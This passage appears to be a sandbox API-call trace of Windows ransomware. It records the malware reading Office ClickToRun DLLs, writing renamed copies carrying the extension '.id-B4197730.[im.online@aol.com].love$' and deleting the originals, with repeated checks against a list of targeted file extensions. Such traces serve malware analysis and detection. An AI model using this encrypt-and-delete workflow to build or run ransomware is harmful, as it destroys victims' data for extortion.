shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.401] GetLastError () returned 0x0 [0284.401] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0284.584] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0284.605] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.605] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x114, lpOverlapped=0x0) returned 1 [0284.606] SetEndOfFile (hFile=0x354) returned 1 [0284.606] CloseHandle (hObject=0x354) returned 1 [0284.606] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.606] SetEndOfFile (hFile=0x350) returned 1 [0284.607] CloseHandle (hObject=0x350) returned 1 [0284.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.608] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0284.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.609] lstrlenW (lpString=".doc") returned 4 [0284.609] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.609] lstrlenW (lpString=".docx") returned 5 [0284.609] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.609] lstrlenW (lpString=".pdf") returned 4 [0284.609] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.609] lstrlenW (lpString=".xls") returned 4 [0284.609] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.609] lstrlenW (lpString=".xlsx") returned 5 [0284.609] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.609] lstrlenW (lpString=".ppt") returned 4 [0284.609] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.609] lstrlenW (lpString=".zip") returned 4 [0284.610] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.610] lstrlenW (lpString=".rar") returned 4 [0284.610] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.610] lstrlenW (lpString=".bz2") returned 4 [0284.610] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.610] lstrlenW (lpString=".7z") returned 3 [0284.610] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.610] lstrlenW (lpString=".dbf") returned 4 [0284.610] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.610] lstrlenW (lpString=".1cd") returned 4 [0284.610] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.610] lstrlenW (lpString=".jpg") returned 4 [0284.610] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.610] lstrlenW (lpString=".doc") returned 4 [0284.610] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.610] lstrlenW (lpString=".docx") returned 5 [0284.611] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.611] lstrlenW (lpString=".pdf") returned 4 [0284.611] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.611] lstrlenW (lpString=".xls") returned 4 [0284.611] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.611] lstrlenW (lpString=".xlsx") returned 5 [0284.611] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.611] lstrlenW (lpString=".ppt") returned 4 [0284.611] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.611] lstrlenW (lpString=".zip") returned 4 [0284.611] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.611] lstrlenW (lpString=".rar") returned 4 [0284.611] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.611] lstrlenW (lpString=".bz2") returned 4 [0284.611] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.611] lstrlenW (lpString=".7z") returned 3 [0284.611] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.611] lstrlenW (lpString=".dbf") returned 4 [0284.611] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.611] lstrlenW (lpString=".1cd") returned 4 [0284.611] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0284.611] lstrlenW (lpString=".jpg") returned 4 [0284.611] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.612] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.612] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0284.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.613] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=26816) returned 1 [0284.613] CloseHandle (hObject=0x354) returned 1 [0284.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0284.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.614] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.614] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0284.615] GetLastError () returned 0x0 [0284.615] ReadFile (in: hFile=0x354, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x68c0, lpOverlapped=0x0) returned 1 [0284.618] WriteFile (in: hFile=0x358, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x68d0, lpOverlapped=0x0) returned 1 [0284.620] ReadFile (in: hFile=0x354, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.620] WriteFile (in: hFile=0x358, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x11a, lpOverlapped=0x0) returned 1 [0284.621] SetEndOfFile (hFile=0x358) returned 1 [0284.621] CloseHandle (hObject=0x358) returned 1 [0284.621] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.621] SetEndOfFile (hFile=0x354) returned 1 [0284.622] CloseHandle (hObject=0x354) returned 1 [0284.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.622] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0284.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.623] lstrlenW (lpString=".doc") returned 4 [0284.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.623] lstrlenW (lpString=".docx") returned 5 [0284.623] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.623] lstrlenW (lpString=".pdf") returned 4 [0284.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.623] lstrlenW (lpString=".xls") returned 4 [0284.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.623] lstrlenW (lpString=".xlsx") returned 5 [0284.623] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.623] lstrlenW (lpString=".ppt") returned 4 [0284.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.623] lstrlenW (lpString=".zip") returned 4 [0284.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.623] lstrlenW (lpString=".rar") returned 4 [0284.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.623] lstrlenW (lpString=".bz2") returned 4 [0284.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.623] lstrlenW (lpString=".7z") returned 3 [0284.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.623] lstrlenW (lpString=".dbf") returned 4 [0284.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.623] lstrlenW (lpString=".1cd") returned 4 [0284.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.623] lstrlenW (lpString=".jpg") returned 4 [0284.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.624] lstrlenW (lpString=".doc") returned 4 [0284.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.624] lstrlenW (lpString=".docx") returned 5 [0284.624] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.624] lstrlenW (lpString=".pdf") returned 4 [0284.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.624] lstrlenW (lpString=".xls") returned 4 [0284.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.624] lstrlenW (lpString=".xlsx") returned 5 [0284.624] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.624] lstrlenW (lpString=".ppt") returned 4 [0284.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.624] lstrlenW (lpString=".zip") returned 4 [0284.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.624] lstrlenW (lpString=".rar") returned 4 [0284.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.624] lstrlenW (lpString=".bz2") returned 4 [0284.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.624] lstrlenW (lpString=".7z") returned 3 [0284.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.624] lstrlenW (lpString=".dbf") returned 4 [0284.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.624] lstrlenW (lpString=".1cd") returned 4 [0284.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0284.624] lstrlenW (lpString=".jpg") returned 4 [0284.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.625] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.625] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0284.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.626] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=70848) returned 1 [0284.626] CloseHandle (hObject=0x354) returned 1 [0284.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0284.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.627] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.627] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0284.628] GetLastError () returned 0x0 [0284.628] ReadFile (in: hFile=0x354, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x114c0, lpOverlapped=0x0) returned 1 [0284.634] WriteFile (in: hFile=0x358, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x114d0, lpOverlapped=0x0) returned 1 [0284.798] ReadFile (in: hFile=0x354, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.799] WriteFile (in: hFile=0x358, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x116, lpOverlapped=0x0) returned 1 [0284.799] SetEndOfFile (hFile=0x358) returned 1 [0284.799] CloseHandle (hObject=0x358) returned 1 [0284.799] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.799] SetEndOfFile (hFile=0x354) returned 1 [0284.801] CloseHandle (hObject=0x354) returned 1 [0284.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.801] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0284.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.802] lstrlenW (lpString=".doc") returned 4 [0284.802] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.802] lstrlenW (lpString=".docx") returned 5 [0284.802] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.802] lstrlenW (lpString=".pdf") returned 4 [0284.802] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.802] lstrlenW (lpString=".xls") returned 4 [0284.802] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.802] lstrlenW (lpString=".xlsx") returned 5 [0284.802] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.802] lstrlenW (lpString=".ppt") returned 4 [0284.802] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.802] lstrlenW (lpString=".zip") returned 4 [0284.802] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.802] lstrlenW (lpString=".rar") returned 4 [0284.802] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.802] lstrlenW (lpString=".bz2") returned 4 [0284.802] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.802] lstrlenW (lpString=".7z") returned 3 [0284.802] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.802] lstrlenW (lpString=".dbf") returned 4 [0284.802] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.802] lstrlenW (lpString=".1cd") returned 4 [0284.802] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.803] lstrlenW (lpString=".jpg") returned 4 [0284.803] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.803] lstrlenW (lpString=".doc") returned 4 [0284.803] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.803] lstrlenW (lpString=".docx") returned 5 [0284.803] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.803] lstrlenW (lpString=".pdf") returned 4 [0284.803] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.803] lstrlenW (lpString=".xls") returned 4 [0284.803] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.803] lstrlenW (lpString=".xlsx") returned 5 [0284.803] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.803] lstrlenW (lpString=".ppt") returned 4 [0284.803] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.803] lstrlenW (lpString=".zip") returned 4 [0284.803] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.803] lstrlenW (lpString=".rar") returned 4 [0284.803] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.803] lstrlenW (lpString=".bz2") returned 4 [0284.803] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.803] lstrlenW (lpString=".7z") returned 3 [0284.803] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.804] lstrlenW (lpString=".dbf") returned 4 [0284.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.804] lstrlenW (lpString=".1cd") returned 4 [0284.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0284.804] lstrlenW (lpString=".jpg") returned 4 [0284.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.804] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.804] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0284.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.805] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=307416) returned 1 [0284.805] CloseHandle (hObject=0x354) returned 1 [0284.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0284.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 